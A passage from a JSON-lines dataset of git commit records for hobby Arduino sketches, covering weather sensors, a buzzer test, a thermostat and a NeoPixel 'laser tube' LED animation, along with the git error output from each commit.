send data only when you receive data:\n if (Serial.available() > 0) {\n \/\/ read the incoming byte:\n incomingByte = Serial.read();\n \n if (incomingByte == 116) { \/\/ Temperatur\n int t1 = dht.readTemperature()*10;\n int t2 = bmp.readTemperature()*10;\n int t = (t1 + t2)\/2;\n Serial.print(t\/10);\n Serial.print(\".\");\n Serial.print(t % 10);\n Serial.print(\"\\n\");\n }\n \n if (incomingByte == 104) { \/\/ Luftfeuchte\n Serial.print(dht.readHumidity());\n Serial.print(\"\\n\");\n }\n \n if (incomingByte == 112) { \/\/ Druck\n Serial.print(bmp.readPressure());\n Serial.print(\"\\n\");\n }\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/indoor_w\/indoor_w.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c89a0d45f443c2fa46eaa70c680cb6ad6f6fb620","subject":"Windmill_test :facepunch:","message":"Windmill_test :facepunch:\n\nArduino project to test all I\/O devices\n","repos":"jmdbo\/IS,jmdbo\/IS,jmdbo\/IS,jmdbo\/IS,jmdbo\/IS","old_file":"trab1\/Arduino\/windmill_test\/windmill_test.ino","new_file":"trab1\/Arduino\/windmill_test\/windmill_test.ino","new_contents":"\/**************************Windmill_Test***************************\/\n\/*****************System Integrated course form ******************\/\n\/*Faculdade Ci\u00eancias e Tecnologias from New University of Lisbon*\/\n\/*********Authors: Jo\u00e3o Miguel Duarte Barata Oliveira **********\/\n\/*************************** & ***************************\/\n\/************* Pedro Miguel dos Santos Martins ***************\/\n\/************************************************************\/\n\n\/\/PINS\nconst int buttonPin=2;\nconst int buttonPin1=3;\nconst int ledPin=4;\nconst int potPin=A0;\n\n\/\/Variables\nint buttonState=0;\nint buttonState1=0;\nint sensorValue;\n\nvoid init_pinMode(){\n pinMode(buttonPin,INPUT);\n pinMode(buttonPin1,INPUT);\n pinMode(ledPin,OUTPUT);\n}\n\nvoid setup(){\n init_pinMode(); \n}\n\nvoid loop(){\n buttonState=digitalRead(buttonPin);\n buttonState1=digitalRead(buttonPin1);\n sensorValue=analogRead(potPin);\n\n if(buttonState == HIGH){\n digitalWrite(ledPin,HIGH);\n delay(100);\n digitalWrite(ledPin,LOW); \n }\n\n if(buttonState1 == HIGH){\n for(int i=0;i<=10;i++){\n digitalWrite(ledPin,HIGH);\n delay(sensorValue);\n digitalWrite(ledPin,LOW); \n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'trab1\/Arduino\/windmill_test\/windmill_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"888f1e54f524d95101897f4e16104bacafc020f4","subject":"example for buzzer on RevE","message":"example for buzzer on RevE\n","repos":"TaylorHokanson\/CAAint","old_file":"Code\/ESP32_RevE_buzzertest\/ESP32_RevE_buzzertest.ino","new_file":"Code\/ESP32_RevE_buzzertest\/ESP32_RevE_buzzertest.ino","new_contents":"int freq = 2000;\nint channel = 0;\nint resolution = 8;\n \nvoid setup() {\n \n Serial.begin(115200);\n ledcSetup(channel, freq, resolution);\n ledcAttachPin(15, channel);\n \n}\n \nvoid loop() {\n \n ledcWriteTone(channel, 2000);\n \n for (int dutyCycle = 0; dutyCycle <= 255; dutyCycle=dutyCycle+10){\n \n Serial.println(dutyCycle);\n \n ledcWrite(channel, dutyCycle);\n delay(1000);\n }\n \n ledcWrite(channel, 125);\n \n for (int freq = 255; freq < 10000; freq = freq + 250){\n \n Serial.println(freq);\n \n ledcWriteTone(channel, freq);\n delay(1000);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/ESP32_RevE_buzzertest\/ESP32_RevE_buzzertest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fc9656329aedfd6f560f027d3aa8be86be7c819","subject":"Few Changes on Motor Test","message":"Few Changes on Motor Test\n","repos":"wso2-incubator\/iot-server-appliances,charithag\/iot-server-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-dev\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-dev\/device-cloud-appliances,charithag\/iot-server-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,charithag\/iot-server-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,charithag\/iot-server-appliances,charithag\/iot-server-appliances,wso2-dev\/device-cloud-appliances,charithag\/iot-server-appliances,charithag\/iot-server-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,sanethd\/device-cloud-appliances","old_file":"Arduino Robot\/Arduino\/MotorTest\/MotorTest.ino","new_file":"Arduino Robot\/Arduino\/MotorTest\/MotorTest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Robot\/Arduino\/MotorTest\/MotorTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"65d51040f1ba7afcdf93290d303ba938de68ad61","subject":"First working version","message":"First working version\n","repos":"sovcik\/thermostat,sovcik\/thermostat","old_file":"Arduino_Thermostat\/Arduino_Thermostat.ino","new_file":"Arduino_Thermostat\/Arduino_Thermostat.ino","new_contents":"#include \"debug.h\"\n#include <OneWire.h>\n#include <LiquidCrystal.h>\n#include \"Button.h\"\n#include \"Relay.h\"\n#include \"Sensor.h\"\n#include \"Config.h\"\n\n\/\/############ HW CONFIG\n\/\/ pin connected to temperature sensor DS18S20\nconst byte TEMPS_1 = 7;\n\n\/\/ Relays\nconst byte REL_1 = 8;\n\n\/\/ Buttons\nconst byte BTN_DOWN = A1;\nconst byte BTN_UP = A2;\nconst byte BTN_ENTER = A6;\nconst byte BTN_EXIT = A7;\n\n\/\/ LCD display pins\nconst byte LCD_RS = 12;\nconst byte LCD_E = 11;\nconst byte LCD_D4 = 5;\nconst byte LCD_D5 = 4;\nconst byte LCD_D6 = 3;\nconst byte LCD_D7 = 2;\n\nfloat tempDelta = 0.1;\nfloat eps = 0.5; \/\/ \nbool cooling = true; \/\/ switch between heating and cooling\n\n\/\/ LCD display\nLiquidCrystal *lcd;\n\n\/\/ Temperature sensors\nTempSensor *temps1;\n\nButton *btnDown;\nButton *btnUp;\n\n\/\/ Relays\nRelay *relay1; \/\/ relay 1\n\n\/\/ \nbool modeSetTemp = false;\nunsigned long modeSetTempEnd = 0;\n\nbool blinkPhase = true;\nint blinkOff = 500;\nint blinkOn = 500;\nunsigned long blinkStateEnd = millis();\nfloat temp1 = 0;\nfloat oldtemp1 = 0;\n\nConfigEE cfg;\n\nvoid setup(void) {\n Serial.begin(115200);\n lcd = new LiquidCrystal(LCD_RS, LCD_E, LCD_D4, LCD_D5, LCD_D6, LCD_D7);\n temps1 = new TempSensor(TEMPS_1);\n btnDown = new Button(BTN_DOWN);\n btnUp = new Button(BTN_UP);\n relay1 = new Relay(REL_1);\n lcd->begin(16, 2);\n \n if (!cfg.read()){\n dpln(\"Failed to load configuration\");\n cfg.setDefaults();\n cfg.write();\n }\n \n cfg.print(); \n}\n\nvoid loop(void) {\n temp1 = temps1->getTemp();\n \n if (temp1 != oldtemp1){\n dp(\"Temp=\");\n dpln(temp1);\n oldtemp1 = temp1;\n }\n\n if (millis() > blinkStateEnd){\n if (blinkPhase){\n blinkStateEnd = millis()+blinkOff;\n } else \n blinkStateEnd = millis()+blinkOn; \n blinkPhase = !blinkPhase;\n }\n\n lcd->setCursor(0, 0);\n if (cfg.data.cooling)\n lcd->print(\"Cool to: \");\n else\n lcd->print(\"Heat to: \");\n\n lcd->setCursor(9, 0);\n if (modeSetTemp && !blinkPhase)\n lcd->print(\" \");\n else\n lcd->print(cfg.data.temp);\n\n lcd->setCursor(14, 0);\n lcd->print(char(223));\n lcd->print(\"C\");\n \n lcd->setCursor(3, 1);\n lcd->print(\"Temp: \");\n lcd->print(temp1);\n lcd->print(char(223));\n lcd->print(\"C\");\n\n if (cfg.data.cooling) {\n if (cfg.data.temp+cfg.data.eps < temp1) { \/\/ current temperature is outside higher limit\n \/\/dpln(\"Cooling - relay ON\");\n relay1->on();\n } else {\n \/\/dpln(\"Cooling - relay OFF\");\n relay1->off();\n }\n }\n\n bool b1 = btnDown->check(LOW);\n bool b2 = btnUp->check(LOW);\n\n if (!modeSetTemp){\n if (!b1 && !b2){\n dpln(\"SetTemp START\");\n modeSetTemp = true;\n modeSetTempEnd = millis()+10000;\n }\n } else {\n if (millis() > modeSetTempEnd){\n modeSetTemp = false;\n dpln(\"SetTemp END\");\n cfg.write();\n }\n \n if (btnDown->isDown()) {\n cfg.data.temp -= tempDelta;\n modeSetTempEnd = millis()+3000;\n dp(\"-\");\n }\n \n if (btnUp->isDown()) {\n cfg.data.temp += tempDelta;\n modeSetTempEnd = millis()+3000;\n dp(\"+\");\n }\n \n }\n\n delay(100);\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_Thermostat\/Arduino_Thermostat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86cc777a165aeb3b3029f1c83e1cecf37e1853bc","subject":"Fixes bug where example sketch only reads one time","message":"Fixes bug where example sketch only reads one time\n","repos":"kennethlimcp\/Adafruit_L3GD20","old_file":"firmware\/examples\/Adafruit_L3GD20_test.ino","new_file":"firmware\/examples\/Adafruit_L3GD20_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kennethlimcp\/Adafruit_L3GD20.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"6608a5af404d8ae73b6299001c9089374766cc14","subject":"Master","message":"Master\n","repos":"starsword829\/MTM","old_file":"MTM_MASTER\/MTM_MASTER.ino","new_file":"MTM_MASTER\/MTM_MASTER.ino","new_contents":"#define NUM_MODULES 2\n#define DATA_SIZE 4\n\nbyte modules[NUM_MODULES]={0,1};\n\nint error();\nint send(byte addr, byte data[], int n);\nint init();\n\nvoid setup() {\n delay(100);\n if(!init())\n Serial.println(\"Initialization Failed\");\n}\n\nvoid loop() {\n\n}\n\nint init() {\n \/\/Check connected\n for(int i=0; i<NUM_MODULES; i++) {\n if(!send(modules[i], 0, 1))\n return error();\n }\n \n}\n\nint send(byte addr, byte data[], int n) {\n if(!Wire.isEnabled())\n Wire.begin();\n Wire.beginTransmission(addr);\n Wire.write(data, n);\n if(Wire.endTransmission())\n return error();\n return 0;\n}\n\nint error() {\n return -1;\n}\n\nint zero() {\n \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'MTM_MASTER\/MTM_MASTER.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bdf1fa762011806eae47dbca0d894de3521c19df","subject":"Fix CI","message":"Fix CI\n","repos":"DanNixon\/Alice,DanNixon\/Alice","old_file":"AliceFirmwareTests\/examples\/OutputTest\/OutputTest.ino","new_file":"AliceFirmwareTests\/examples\/OutputTest\/OutputTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DanNixon\/Alice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"61d87f1fbb024ffba7ad6d2ba65b58136601433f","subject":"Changed delay","message":"Changed delay\n","repos":"Fablabsitges\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap","old_file":"arduino version\/code\/all\/all.ino","new_file":"arduino version\/code\/all\/all.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'version\/code\/all\/all.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7dfab41896aa46619cebecbee90d378a861fcd52","subject":"is this just logging?","message":"is this just logging?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"803b422caf203192c9edd161d3baa7d4d9ce1ac4","subject":"refactors.","message":"refactors.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"de205a6c1137ee3ba852e39627f1f2991b3af170","subject":"Functional","message":"Functional\n","repos":"jakemcivor\/laserTube,jakemcivor\/laserTube","old_file":"LaserTube\/Laser.ino","new_file":"LaserTube\/Laser.ino","new_contents":"#include \"Laser.h\"\n\n\/\/ Instantiate strip\nCRGB leds[NUM_LEDS];\n\n\/\/ Instantiate pixels\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUM_LEDS, LED_PIN, NEO_GRB + NEO_KHZ800);\n\nconst int iterationCount = 2000;\nconst int SCENE_COOLDOWN = 0;\nconst int SCENE_IDLE = 1;\nconst int SCENE_CHARGING = 2;\nconst int SCENE_CHARGED = 3;\nconst int SCENE_FIRING = 4;\nconst int SCENE_PRETTYLIGHTS = 5;\n\nlong laserTimer;\n\nconst int CHARGE_PIXELS = 20; \/\/number of pixels in bottom of tube near coil\n\nconst int minBrightness = 8;\n\nint sceneBrightness = 1;\nint r = 32;\nint g = 32;\nint b = 32;\n\n\/\/ AMPLITUDE = brightness amplitude for standy\nbyte amplitude = 10;\n\n\/\/ FREQUENCY = laser charge frequencyrightness amplitude for standy\nbyte frequency = 10; \/\/todo unused\n\n\/\/ PERIOD: Standby frequency period\nbyte period = 4; \/\/todo unused\n\n\/\/ VOLUME: Sound volume. Range 0 - 30\nbyte volume = 15;\n\n\/\/ BRIGHTNESS: Pixel Brightness\nbyte brightness = 128; \n\n\/\/ Fire: Fire laser flag\nbyte fire = 1; \n\n\/\/ PRETTYLIGHTS: Pretty lights flag\nbyte prettylights = 0;\n\nint sceneState = SCENE_IDLE; \/\/ start with idle scene\nuint64_t count = 0;\nlong sceneStartMillis = 0;\n\n\nvoid setupLaser(){\n pixels.begin(); \/\/ Initializes NeoPixel Library\n Serial.println(\"NeoPixel array started\");\n setScene(SCENE_COOLDOWN);\n}\n\n\nvoid fireLaser(void){\n\n \/\/ if we are in idle state: fire; otherwise, do nothing\n if (sceneState == SCENE_IDLE){\n setScene(SCENE_CHARGING);\n }\n\n}\nvoid Laser(void)\n{\n\/\/todo laser energy charging model\n}\n\n\n\nvoid keepOnLasing(void)\n{\n\/\/ if (millis() > laserTimer + 1000 \/ FRAMES_PER_SECOND)\n\/\/ {\n\/\/ laserTimer = millis();\n\/\/ Laser(); \/\/update model state (based on time)\n\/\/ for (int i = 0; i < NUM_LEDS; i++)\n\/\/ {\n\/\/ pixels.setPixelColor(i, pixels.Color(leds[i].r, leds[i].g, leds[i].b));\n\/\/ }\n\/\/\n\/\/ pixels.setBrightness(sceneBrightness);\/\/ set pixel brightness\n\/\/ pixels.show(); \/\/send updated pixel color to hardware\n\/\/\n\/\/ }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ IDLE SCENCE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid sceneIdle() {\n \/\/ idle loop when nothing else is happening\n count++;\n \n if (count % iterationCount == 0) {\n Serial.println(\"-- idle\");\n }\n\n if (sceneBrightness < 1) { pixels.setBrightness(1); sceneBrightness = 1; }\n\n int iteration = count % iterationCount;\n int lbrightness = (sceneBrightness < 72 ? sceneBrightness++ : map(iteration, 0, iterationCount, -72, 72));\n int r = 0;\n int g = 0; \/\/ abs(lbrightness);\n int b = abs(lbrightness);; \/\/ 64;\n for (int i = 0; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n\n}\n\nvoid sceneCharging() {\n \/\/ charging up animation\n\n long sceneEnd = sceneStartMillis + SCENE_CHARGING_LEN_MS;\n count++;\n laserTimer = millis();\n if (laserTimer > sceneEnd) {\n Serial.println(\"Finished charging\");\n \/\/ if we've been charging for 5 sec, we're charged\n \/\/setScene(SCENE_CHARGED); \/\/skip charged SCENE FOR NOW\n setScene(SCENE_FIRING); \n return;\n }\n \/\/int intensity = count % NUM_LEDS;\n\n if (sceneBrightness < 32) { pixels.setBrightness(32); sceneBrightness = 32; }\n\n int sceneBrightness = map(laserTimer, sceneStartMillis, sceneEnd, 200, 0);\n for (int i = 0; i < NUM_LEDS; i++) {\n int localr = map(laserTimer, sceneStartMillis, sceneEnd, r, 0);\n int localg = map(laserTimer, sceneStartMillis, sceneEnd, g, 0);\n b = sceneBrightness;\n pixels.setPixelColor(i, pixels.Color(localr, localg, b));\n delay(0);\n }\n\n\/\/add progress-bar style charge-up \n int chargeLevel = map(laserTimer, sceneStartMillis, sceneEnd, 1, CHARGE_PIXELS);\n for (int i = 0; i < chargeLevel; i++) {\n pixels.setPixelColor(i, pixels.Color(0,0,255));\n delay(0);\n }\n\/\/ add increasing number of random flashes\n for (int i=0; i < chargeLevel; i++){\n pixels.setPixelColor(random(chargeLevel,NUM_LEDS),pixels.Color(sceneBrightness,sceneBrightness,sceneBrightness));\n delay(0);\n }\n\n \/\/pixels.setBrightness(brightness);\/\/ set pixel brightness\n pixels.show(); \/\/send updated pixel color to hardware\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Charged SCENE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid sceneCharged() {\n \/\/ charged loop\n count++;\n laserTimer= millis();\n if (laserTimer > sceneStartMillis + SCENE_CHARGED_LEN_MS) {\n \/\/ if we've been charged for 2 sec, fire\n Serial.println(\"Ready to fire\");\n setScene(SCENE_FIRING);\n return;\n }\n\n r = 0; g = 0; b = 255;\n for (int i = 0; i < CHARGE_PIXELS; i++) {\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n for (int i = CHARGE_PIXELS; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(0, 0, 0));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FIRING SCENE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid sceneFiring() {\n \/\/ firing animation\n count++;\n laserTimer = millis();\n long sceneEnd = sceneStartMillis + SCENE_FIRING_LEN_MS;\n if (laserTimer > sceneEnd) {\n \/\/ if we're finished firing go back to idle\n Serial.println(\"Finished firing, cooling down\");\n sceneBrightness = 1;\n setScene(SCENE_COOLDOWN);\n return;\n }\n\n for (int i = 0; i < NUM_LEDS; i++) {\n int currentLED = count % NUM_LEDS;\n if (i >= currentLED + 3 || i <= currentLED - 3) {\n r = 0; g = 0; b = map(laserTimer, sceneStartMillis, sceneEnd, 255, 0);\n } else {\n r = 0; g = 0; b = 0;\n }\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n}\n\nvoid sceneCooldown(){\n count ++;\n laserTimer = millis();\n if (laserTimer > sceneStartMillis + SCENE_COOLDOWN_LEN_MS) {\n \/\/ if we've been charged for 2 sec, fire\n Serial.println(\"Cooled down\");\n setScene(SCENE_IDLE);\n return;\n }\n for (int i = 0; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(0, 0, 0));\n delay(0);\n }\n \n pixels.show();\n}\n\n\nvoid setScene(int sceneNum) {\n count = 0; \/\/reset counter\n if (sceneNum < SCENE_COOLDOWN || sceneNum > SCENE_PRETTYLIGHTS) {\n Serial.println(\"Invalid scene, setting Idle scene\");\n sceneNum = SCENE_IDLE; \/\/ return to idle if we're looping around\n }\n Serial.print(\"Setting scene to \");\n Serial.println(sceneNum);\n\n switch (sceneNum) {\n case SCENE_CHARGING:\n \/\/ fire the sound file for charging scene\n playSoundFile(SCENE_CHARGING_INDEX + 1);\n break;\n case SCENE_CHARGED:\n \/\/ fire the sound file for charged scene\n playSoundFile(SCENE_CHARGED_INDEX + 1);\n break;\n case SCENE_FIRING:\n \/\/ fire the sound file for the firing scene\n playSoundFile(SCENE_FIRING_INDEX + 1);\n break;\n case SCENE_COOLDOWN:\n \/\/playSoundFile(SCENCE_COOLDOWN_INDEX +1);\n break;\n }\n\n\n sceneState = sceneNum;\n sceneStartMillis = millis();\n}\n\nvoid doScene() {\n \/\/ animates the current scene\n \/\/ simple state machine\n switch (sceneState) {\n case SCENE_IDLE: \/\/ idle\n sceneIdle();\n break;\n case SCENE_CHARGING: \/\/ charging\n sceneCharging();\n break;\n case SCENE_CHARGED:\n sceneCharged();\n break;\n case SCENE_FIRING:\n sceneFiring();\n break;\n case SCENE_COOLDOWN:\n sceneCooldown();\n break;\n case SCENE_PRETTYLIGHTS:\n scenePrettyLights();\n break;\n }\n}\n\nvoid prettyLights(){\n Serial.println(\"Activating Pretty Lights Mode\");\n setScene(SCENE_PRETTYLIGHTS);\n}\n\nvoid scenePrettyLights() {\n rainbowCycle(20);\n}\n\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< pixels.numPixels(); i++) {\n pixels.setPixelColor(i, Wheel(((i * 256 \/ pixels.numPixels()) + j) & 255));\n }\n pixels.show();\n \/\/delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return pixels.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return pixels.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return pixels.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\n\r\n","old_contents":"#include \"Laser.h\"\n\n\/\/ Instantiate strip\nCRGB leds[NUM_LEDS];\n\n\/\/ Instantiate pixels\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUM_LEDS, LED_PIN, NEO_GRB + NEO_KHZ800);\n\nconst int iterationCount = 2000;\nconst int SCENE_COOLDOWN = 0;\nconst int SCENE_IDLE = 1;\nconst int SCENE_CHARGING = 2;\nconst int SCENE_CHARGED = 3;\nconst int SCENE_FIRING = 4;\nconst int SCENE_PRETTYLIGHTS = 5;\n\nlong laserTimer;\n\nconst int CHARGE_PIXELS = 20; \/\/number of pixels in bottom of tube near coil\n\nconst int minBrightness = 8;\n\nint sceneBrightness = 1;\nint r = 32;\nint g = 32;\nint b = 32;\n\n\/\/ AMPLITUDE = brightness amplitude for standy\nbyte amplitude = 10;\n\n\/\/ FREQUENCY = laser charge frequencyrightness amplitude for standy\nbyte frequency = 10; \/\/todo unused\n\n\/\/ PERIOD: Standby frequency period\nbyte period = 4; \/\/todo unused\n\n\/\/ VOLUME: Sound volume. Range 0 - 30\nbyte volume = 15;\n\n\/\/ BRIGHTNESS: Pixel Brightness\nbyte brightness = 128; \n\n\/\/ Fire: Fire laser flag\nbyte fire = 1; \n\n\/\/ PRETTYLIGHTS: Pretty lights flag\nbyte prettylights = 0;\n\nint sceneState = SCENE_IDLE; \/\/ start with idle scene\nuint64_t count = 0;\nlong sceneStartMillis = 0;\n\n\nvoid setupLaser(){\n pixels.begin(); \/\/ Initializes NeoPixel Library\n Serial.println(\"NeoPixel array started\");\n setScene(SCENE_COOLDOWN);\n}\n\n\nvoid fireLaser(void){\n\n \/\/ if we are in idle state: fire; otherwise, do nothing\n if (sceneState == SCENE_IDLE){\n setScene(SCENE_CHARGING);\n }\n\n}\nvoid Laser(void)\n{\n\/\/todo laser energy charging model\n}\n\n\n\nvoid keepOnLasing(void)\n{\n\/\/ if (millis() > laserTimer + 1000 \/ FRAMES_PER_SECOND)\n\/\/ {\n\/\/ laserTimer = millis();\n\/\/ Laser(); \/\/update model state (based on time)\n\/\/ for (int i = 0; i < NUM_LEDS; i++)\n\/\/ {\n\/\/ pixels.setPixelColor(i, pixels.Color(leds[i].r, leds[i].g, leds[i].b));\n\/\/ }\n\/\/\n\/\/ pixels.setBrightness(sceneBrightness);\/\/ set pixel brightness\n\/\/ pixels.show(); \/\/send updated pixel color to hardware\n\/\/\n\/\/ }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ IDLE SCENCE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid sceneIdle() {\n \/\/ idle loop when nothing else is happening\n count++;\n\n if (count % iterationCount == 0) {\n Serial.println(\"-- idle\");\n }\n\n if (sceneBrightness < 1) { pixels.setBrightness(1); sceneBrightness = 1; }\n\n int iteration = count % iterationCount;\n int lbrightness = (sceneBrightness < 72 ? sceneBrightness++ : map(iteration, 0, iterationCount, -72, 72));\n int r = 0;\n int g = 0; \/\/ abs(lbrightness);\n int b = abs(lbrightness);; \/\/ 64;\n for (int i = 0; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n\n}\n\nvoid sceneCharging() {\n \/\/ charging up animation\n\n long sceneEnd = sceneStartMillis + SCENE_CHARGING_LEN_MS;\n count++;\n laserTimer = millis();\n if (laserTimer > sceneEnd) {\n Serial.println(\"Finished charging\");\n \/\/ if we've been charging for 5 sec, we're charged\n \/\/setScene(SCENE_CHARGED); \/\/skip charged SCENE FOR NOW\n setScene(SCENE_FIRING); \n return;\n }\n \/\/int intensity = count % NUM_LEDS;\n\n if (sceneBrightness < 32) { pixels.setBrightness(32); sceneBrightness = 32; }\n\n int sceneBrightness = map(laserTimer, sceneStartMillis, sceneEnd, 200, 0);\n for (int i = 0; i < NUM_LEDS; i++) {\n int localr = map(laserTimer, sceneStartMillis, sceneEnd, r, 0);\n int localg = map(laserTimer, sceneStartMillis, sceneEnd, g, 0);\n b = sceneBrightness;\n pixels.setPixelColor(i, pixels.Color(localr, localg, b));\n delay(0);\n }\n\n\/\/add progress-bar style charge-up \n int chargeLevel = map(laserTimer, sceneStartMillis, sceneEnd, 1, CHARGE_PIXELS);\n for (int i = 0; i < chargeLevel; i++) {\n pixels.setPixelColor(i, pixels.Color(0,0,255));\n delay(0);\n }\n\/\/ add increasing number of random 